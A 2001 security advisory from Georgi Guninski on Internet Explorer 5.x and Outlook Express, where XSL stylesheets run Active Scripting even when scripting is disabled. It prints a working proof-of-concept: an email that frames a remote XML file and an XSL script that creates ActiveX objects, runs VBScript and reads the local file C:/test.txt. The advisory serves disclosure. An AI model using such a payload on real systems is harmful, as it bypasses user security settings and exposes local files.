guninski@guninski.com Georgi Guninski security advisory #43, 2001
XML scripting in IE, Outlook Express
Systems affected:
Internet Explorer 5.x - including full patched up to now though Microsoft cannot
reproduce the problem on fully patched IE 5.x ,Outlook Express (probably Outlook have not
tested)
Risk: High
Date: 20 April 2001
Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.
Disclaimer:
The information in this advisory is believed to be true based on experiments though it may be
false.
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Background:
We have some disagreement with Microsoft whether this works on fully patched IE 5.x.
I believe I am running fully patched IE according to the rules for patching in
Microsoft's security bulletins.
The problem seems to be the version of WSH which is described in MS-01-015 at:
http://www.microsoft.com/technet/security/bulletin/ms01-015.asp
To check whether you are vulnerable check DEMONSTRATION.
Description:
It is possible to execute Active Scripting with the help of XML and XSL even if
Active Scripting is disabled in all security zones. This is especially dangerous in
email messages. Though this is not typical exploit itself, it may be used in other
exploits especially in email.
Details:
The problem are xml stylesheets which may contain Active Scripting and they are executed
regardless of the settings for Active Scripting in IE/Outlook Express.
Below is a demonstration which executes Active Scripting which contains the demo from
my advisory #41.
When xstyle.eml is viewed with IE or OE the Active Script in it is executed regardless of
user's settings.
--xstyle.eml--------------------------------------------------------------
....
<IFRAME SRC="http://SOMEHOST/xstyle.xml"></IFRAME>
....
--------------------------------------------------------------------------
--xstyle.xml--------------------------------------------------------------
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="xstyle.xsl" ?>
<doc>
style
</doc>
--------------------------------------------------------------------------
--xstyle.xsl--------------------------------------------------------------
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:script>
<![CDATA[
a=new ActiveXObject('htmlfile');
a.open();
a.write("<html><body>gg</body></html>");
a.close();
v=new ActiveXObject("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
v.eval('MsgBox ("This is VBSCRIPT",65,"This is VBSCRIPT")');
x=v.eval('GetObject("C:/test.txt","htmlfile")');
v.eval('MsgBox ("Hi",65,"Hi")');
a.location="about:Here is your file <BR>"+x.body.innerHTML;
]]>
</xsl:script>
</xsl:stylesheet>
--------------------------------------------------------------------------
Workaround: I do not know of workaround but Microsoft claims updating WSH solves the issue.
Demonstration:
http://www.guninski.com/xstyle.eml - disable Active Scripting and if you see any
message box you are vulnerable.
Vendor status:
Microsoft was informed on 18 April 2001
Regards,
Georgi Guninski
http://www.guninski.com